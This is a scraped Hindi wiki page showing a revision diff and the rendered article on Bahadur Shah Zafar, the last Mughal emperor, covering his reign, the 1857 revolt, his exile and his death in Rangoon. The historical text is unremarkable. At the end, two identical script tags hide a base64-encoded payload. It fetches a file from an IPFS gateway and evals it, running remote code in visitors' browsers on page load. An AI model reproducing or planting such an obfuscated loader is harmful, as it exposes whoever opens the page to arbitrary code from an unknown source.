एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "३"।

"बहादुर शाह ज़फ़र" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "1857" to "1857")
छो (Text replace - "1862" to "1862")
पंक्ति 4: पंक्ति 4:
 
बहादुर शाह अकबर शाह द्वितीय और लालबाई के दूसरे पुत्र थे। अपने शासनकाल के अधिकांश समय उनके पास वास्तविक सत्ता नहीं रही और वह [[अंग्रेज़|अंग्रेज़ों]] पर आश्रित रहे। 1857 ई. में [[सिपाही क्रांति 1857|स्वतंत्रता संग्राम]] शुरू होने के समय बहादुर शाह 82 वर्ष के बूढे थे, और स्वयं निर्णय लेने की क्षमता को खो चुके थे। विद्रोहियों ने उनको आज़ाद हिन्दुस्तान का बादशाह बनाया। इस कारण [[अंग्रेज़]] उनसे कुपित हो गये और उन्होंने उनसे शत्रुवत् व्यवहार किया। सितम्बर 1857 ई. में अंग्रेज़ों ने दुबारा [[दिल्ली]] पर क़ब्ज़ा जमा लिया और बहादुर शाह द्वितीय को गिरफ़्तार करके उन पर मुक़दमा चलाया गया तथा उन्हें रंगून निर्वासित कर दिया गया।
 
बहादुर शाह अकबर शाह द्वितीय और लालबाई के दूसरे पुत्र थे। अपने शासनकाल के अधिकांश समय उनके पास वास्तविक सत्ता नहीं रही और वह [[अंग्रेज़|अंग्रेज़ों]] पर आश्रित रहे। 1857 ई. में [[सिपाही क्रांति 1857|स्वतंत्रता संग्राम]] शुरू होने के समय बहादुर शाह 82 वर्ष के बूढे थे, और स्वयं निर्णय लेने की क्षमता को खो चुके थे। विद्रोहियों ने उनको आज़ाद हिन्दुस्तान का बादशाह बनाया। इस कारण [[अंग्रेज़]] उनसे कुपित हो गये और उन्होंने उनसे शत्रुवत् व्यवहार किया। सितम्बर 1857 ई. में अंग्रेज़ों ने दुबारा [[दिल्ली]] पर क़ब्ज़ा जमा लिया और बहादुर शाह द्वितीय को गिरफ़्तार करके उन पर मुक़दमा चलाया गया तथा उन्हें रंगून निर्वासित कर दिया गया।
 
==मृत्यु==
 
==मृत्यु==
बहादुर शाह ज़फ़र की मृत्यु 86 वर्ष की अवस्था में [[7 नवंबर]] [[1862]] को [[रंगून]] (वर्तमान यांगून), [[बर्मा]] (वर्तमान म्यांमार) में हुई थी। उसी दिन उनके दो बेटों और पोते को भी गिरफ़्तार करके गोली मार दी गई। इस प्रकार बादशाह [[बाबर]] ने जिस [[मुग़ल]] वंश की स्थापना [[भारत]] में की थी, उसका अंत हो गया।
+
बहादुर शाह ज़फ़र की मृत्यु 86 वर्ष की अवस्था में [[7 नवंबर]] 1862 को [[रंगून]] (वर्तमान यांगून), [[बर्मा]] (वर्तमान म्यांमार) में हुई थी। उसी दिन उनके दो बेटों और पोते को भी गिरफ़्तार करके गोली मार दी गई। इस प्रकार बादशाह [[बाबर]] ने जिस [[मुग़ल]] वंश की स्थापना [[भारत]] में की थी, उसका अंत हो गया।
  
 
{{प्रचार}}
 
{{प्रचार}}

14:53, 21 जुलाई 2011 का अवतरण

बहादुर शाह ज़फ़र

बहादुर शाह ज़फ़र का जन्म 24 अक्तूबर सन् 1775 ई. को दिल्ली में हुआ था। बहादुर शाह ज़फ़र मुग़ल साम्राज्य के अंतिम बादशाह थे। इनका शासनकाल 1837-58 तक था। बहादुर शाह ज़फ़र एक कवि, संगीतकार व खुशनवीस थे और राजनीतिक नेता के बजाय सौंदर्यानुरागी व्यक्ति अधिक थे।

शासनकाल

बहादुर शाह अकबर शाह द्वितीय और लालबाई के दूसरे पुत्र थे। अपने शासनकाल के अधिकांश समय उनके पास वास्तविक सत्ता नहीं रही और वह अंग्रेज़ों पर आश्रित रहे। 1857 ई. में स्वतंत्रता संग्राम शुरू होने के समय बहादुर शाह 82 वर्ष के बूढे थे, और स्वयं निर्णय लेने की क्षमता को खो चुके थे। विद्रोहियों ने उनको आज़ाद हिन्दुस्तान का बादशाह बनाया। इस कारण अंग्रेज़ उनसे कुपित हो गये और उन्होंने उनसे शत्रुवत् व्यवहार किया। सितम्बर 1857 ई. में अंग्रेज़ों ने दुबारा दिल्ली पर क़ब्ज़ा जमा लिया और बहादुर शाह द्वितीय को गिरफ़्तार करके उन पर मुक़दमा चलाया गया तथा उन्हें रंगून निर्वासित कर दिया गया।

मृत्यु

बहादुर शाह ज़फ़र की मृत्यु 86 वर्ष की अवस्था में 7 नवंबर 1862 को रंगून (वर्तमान यांगून), बर्मा (वर्तमान म्यांमार) में हुई थी। उसी दिन उनके दो बेटों और पोते को भी गिरफ़्तार करके गोली मार दी गई। इस प्रकार बादशाह बाबर ने जिस मुग़ल वंश की स्थापना भारत में की थी, उसका अंत हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>